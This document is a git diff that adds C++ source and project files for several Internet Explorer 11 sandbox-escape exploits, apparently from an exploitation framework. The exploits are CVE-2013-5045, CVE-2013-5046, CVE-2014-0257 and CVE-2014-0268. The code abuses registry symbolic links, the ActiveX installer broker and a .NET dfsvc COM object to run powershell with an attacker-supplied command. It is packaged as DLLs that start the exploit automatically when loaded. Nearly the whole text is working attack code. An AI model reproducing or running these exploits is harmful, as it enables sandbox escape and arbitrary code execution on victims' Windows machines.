GetExploitUrl(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void CreateIEProcess() +{ + HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe " + GetExploitUrl(L"HTML_URL")); + + if (hProcess) + { + WaitForSingleObject(hProcess, 1000); + CloseHandle(hProcess); + } +} + +void CreateUserKey(LPCWSTR path) +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + bstr_t sid = GetUserSid(); + + bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain"; + + LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain"); + + DebugPrintf("Delete: %d", res); + + bstr_t destName = L"\\Registry\\User\\" + sid + path; + + CreateLink(linkName, destName, 0); + + CreateIEProcess(); + + DeleteLink(linkName); +} + +void DoRegistrySymlink() +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + HKEY hKey = nullptr; + HANDLE hSection = nullptr; + bstr_t sid = GetUserSid(); + bool success = false; + + try + { + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights"); + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy"); + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}"); + + LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}", + 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey); + + if (res != 0) + { + DebugPrintf("Open Class Key Failed %d", res); + throw 0; + } + + CreateRegistryValueString(hKey, L"AppName", L"powershell.exe"); + CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0"); + CreateRegistryValueDword(hKey, L"Policy", 3); + + bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_"; + + UNICODE_STRING objName = { 0 }; + objName.Buffer = name; + objName.Length = SysStringByteLen(name); + objName.MaximumLength = SysStringByteLen(name); + + OBJECT_ATTRIBUTES objAttr = { 0 }; + + InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0); + + fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection"); + + NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr); + + if (status != 0) + { + DebugPrintf("Error opening section: %08X\n", status); + throw 0; + } + + unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int)); + + if (p == nullptr) + { + DebugPrintf("Error mapping section %d\n", GetLastError()); + throw 0; + } + + DebugPrintf("Current Counter: %d\n", *p); + + // Increment + *p = *p + 1; + + DebugPrintf("New Counter: %d\n", *p); + + UnmapViewOfFile(p); + CloseHandle(hSection); + hSection = nullptr; + + MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD")); + } + catch (...) + { + } + + if (hSection) + { + CloseHandle(hSection); + } + + if (hKey) + { + RegCloseKey(hKey); + } + +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoRegistrySymlink(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj new file mode 100755 index 0000000000..285b19b27e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj @@ -0,0 +1,188 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52} + Win32Proj + CVE20140268 + CVE-2013-5045 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + CVE-2014-0268.def + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + CVE-2014-0268.def + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + CVE-2014-0268.def + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp new file mode 100755 index 0000000000..4a6fab2bff --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp @@ -0,0 +1,127 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker); + +void DoAXExploit() +{ + try + { + HRESULT ret = E_FAIL; + + IIEUserBrokerPtr broker = CreateBroker(); + + DebugPrintf("Created User Broker: %p\n", broker); + + IIEAxInstallBrokerBrokerPtr axInstallBroker = broker; + + DebugPrintf("Created AX Install Broker: %p\n", axInstallBroker); + + IUnknownPtr unk; + + ret = axInstallBroker->BrokerGetAxInstallBroker(__uuidof(CIEAxInstallBroker), IID_IUnknown, 0, 2, nullptr, &unk); + if (FAILED(ret)) + { + DebugPrintf("Failed to create install broker\n"); + throw _com_error(ret); + } + + IIeAxiAdminInstallerPtr admin = unk; + + bstr_t sessionGuid; + bstr_t empty; + + ret = admin->InitializeAdminInstaller(empty, empty, sessionGuid.GetAddress()); + if (FAILED(ret)) + { + DebugPrintf("Failed initialize admin interface\n"); + throw _com_error(ret); + } + + DebugPrintf("Initialize: %ls\n", sessionGuid.GetBSTR()); + + IIeAxiInstaller2Ptr installer = unk; + + DebugPrintf("Installer: %p", installer); + + unsigned char* details = nullptr; + unsigned int detailsLength = 0; + + CLSID mgrclsid; + + // Not important really + CLSIDFromString(L"4871A87A-BFDD-4106-8153-FFDE2BAC2967", &mgrclsid); + + /*bstr_t url = L"http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.4.8.cab#Version=2,2,4,8"; + bstr_t path = L"C:\\users\\user\\desktop\\dlm-activex-2.2.4.8.cab";*/ + + bstr_t path = GetWindowsSystemDirectory() + L"\\notepad.exe"; + + bstr_t fullPath; + + // Verify a local "signed" file, doesn't really matter what, we are not going to run it + ret = installer->VerifyFile(sessionGuid, nullptr, path, path, bstr_t(L""), + 0, 0, mgrclsid, fullPath.GetAddress(), &detailsLength, &details); + + if (FAILED(ret)) + { + throw _com_error(ret); + } + + WCHAR newPath[MAX_PATH]; + + wcscpy_s(newPath, fullPath); + + PathRemoveFileSpec(newPath); + + // Install file to dummy location, use canonicalization trick to escape quotes later + ret = installer->InstallFile(sessionGuid, nullptr, bstr_t(newPath), bstr_t(PathFindFileName(fullPath)), + GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp", bstr_t(L"testbin.exe"), 0); + DebugPrintf("InstallFile: %08X\n", ret); + + if (FAILED(ret)) + { + throw _com_error(ret); + } + + bstr_t installPath = GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp\\testbin.exe"; + + PROCESS_INFORMATION procInfo = { 0 }; + + // Run our arbitrary command line + ret = installer->RegisterExeFile(sessionGuid, installPath, 0, &procInfo); + } + catch (_com_error e) + { + DebugPrintf("Error: %ls\n", e.ErrorMessage()); + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(NULL); + + DoAXExploit(); + + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj new file mode 100755 index 0000000000..bde9556738 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj @@ -0,0 +1,182 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {7A9AC14A-00BC-4A69-9B86-C80635606FEA} + Win32Proj + CVE20140268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h new file mode 100755 index 0000000000..3ec4541276 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h @@ -0,0 +1,12 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include "interfaces.h" \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp new file mode 100755 index 0000000000..8166284000 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp @@ -0,0 +1,201 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +#define MAX_ENV 32767 + +#import rename("ReportEvent", "_ReportEvent") + +const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}"; + +long GetSafeArrayLen(LPSAFEARRAY psa) +{ + long ubound = 0; + + SafeArrayGetUBound(psa, 1, &ubound); + + return ubound + 1; +} + +mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) +{ + LPSAFEARRAY methods = type->GetMethods_2(); + mscorlib::_MethodInfoPtr ret; + LONG methodCount = GetSafeArrayLen(methods); + + for (long i = 0; i < methodCount; ++i) + { + IUnknown* v = nullptr; + + if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) + { + mscorlib::_MethodInfoPtr method = v; + + bstr_t name = method->Getname(); + LPSAFEARRAY params = method->GetParameters(); + long paramCount = GetSafeArrayLen(params); + + if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount) + { + ret = method; + break; + } + } + } + + SafeArrayDestroy(methods); + + return ret; +} + +template T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector& args) +{ + variant_t obj; + T retObj; + + SAFEARRAY * psa; + SAFEARRAYBOUND rgsabound[1]; + + rgsabound[0].lLbound = 0; + rgsabound[0].cElements = (ULONG)args.size(); + psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); + + for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies) + { + SafeArrayPutElement(psa, &indicies, &args[indicies]); + } + + variant_t ret = method->Invoke_3(obj, psa); + + if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH)) + { + retObj = ret.punkVal; + } + + SafeArrayDestroy(psa); + + return retObj; +} + +bstr_t GetEnv(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void DoDfsvcExploit() +{ + CLSID clsid; + + CLSIDFromString(CLSID_DFSVC, &clsid); + + DebugPrintf("Starting DFSVC Exploit\n"); + + mscorlib::_ObjectPtr obj; + + HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); + + if (FAILED(hr)) + { + WCHAR cmdline[] = L"dfsvc.exe"; + + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + // Start dfsvc (because we can due to the ElevationPolicy) + if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline, + nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo)) + { + CloseHandle(procInfo.hProcess); + CloseHandle(procInfo.hThread); + + // Just sleep to ensure it comes up + Sleep(4000); + hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); + } + else + { + DebugPrintf("Couldn't create service %d\n", GetLastError()); + } + } + + if (SUCCEEDED(hr)) + { + try + { + mscorlib::_TypePtr type = obj->GetType(); + + // Get type of Type (note defaults to RuntimeType then TypeInfo) + type = type->GetType()->BaseType->BaseType; + + DebugPrintf("TypeName: %ls", type->FullName.GetBSTR()); + + mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1); + + DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod); + + std::vector getTypeArgs; + + getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); + + // Get process type + type = ExecuteMethod(getTypeMethod, getTypeArgs); + + if (type) + { + mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2); + + if (startMethod) + { + std::vector startArgs; + + startArgs.push_back(L"powershell"); + startArgs.push_back(GetEnv(L"PSHCMD")); + + ExecuteMethod(startMethod, startArgs); + } + else + { + DebugPrintf("Couldn't find Start method"); + } + } + else + { + DebugPrintf("Couldn't find Process Type"); + } + } + catch (_com_error e) + { + DebugPrintf("COM Error: %ls\n", e.ErrorMessage()); + } + } + else + { + DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr); + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoDfsvcExploit(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj new file mode 100755 index 0000000000..2c9db40e6f --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj @@ -0,0 +1,182 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {2A46841E-E3FC-42FF-BCDF-70F76E757E26} + Win32Proj + CVE20140268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp new file mode 100755 index 0000000000..9eb281e8a8 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp new file mode 100755 index 0000000000..f4be2a5997 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp @@ -0,0 +1,81 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include +#include + +_COM_SMARTPTR_TYPEDEF(IWebBrowser2, __uuidof(IWebBrowser2)); + +void DoSetAttachmentUserOverride() +{ + IShdocvwBroker* shdocvw = nullptr; + + try + { + HRESULT ret; + shdocvw = CreateSHDocVw(); + + CLSID clsid; + + CLSIDFromString(L"{0002DF01-0000-0000-C000-000000000046}", &clsid); + + IWebBrowser2Ptr browser; + + ret = CoCreateInstance(clsid, nullptr, CLSCTX_SERVER, IID_PPV_ARGS(&browser)); + if (FAILED(ret)) + { + DebugPrintf("CoCreateInstance: %08X", ret); + throw new _com_error(ret); + } + + DebugPrintf("browser: %p", browser); + + unsigned char buf[1] = { 0 }; + + ret = shdocvw->SetAttachmentUserOverride(L"jarfile"); + if (FAILED(ret)) + { + DebugPrintf("Failed to set attachement user override\n"); + throw new _com_error(ret); + } + + bstr_t nav = L"http://www.dummy.local/testapp.jar"; + + DebugPrintf("Navigate: %08X", browser->Navigate(nav, nullptr, nullptr, nullptr, nullptr)); + } + catch (_com_error e) + { + DebugPrintf("Error during processing: %ls\n", e.ErrorMessage()); + } + + if (shdocvw) + { + shdocvw->Release(); + shdocvw = nullptr; + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoSetAttachmentUserOverride(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj new file mode 100755 index 0000000000..ae208e17c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj @@ -0,0 +1,183 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9} + Win32Proj + CVE20140268 + CVE-2014-0268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows 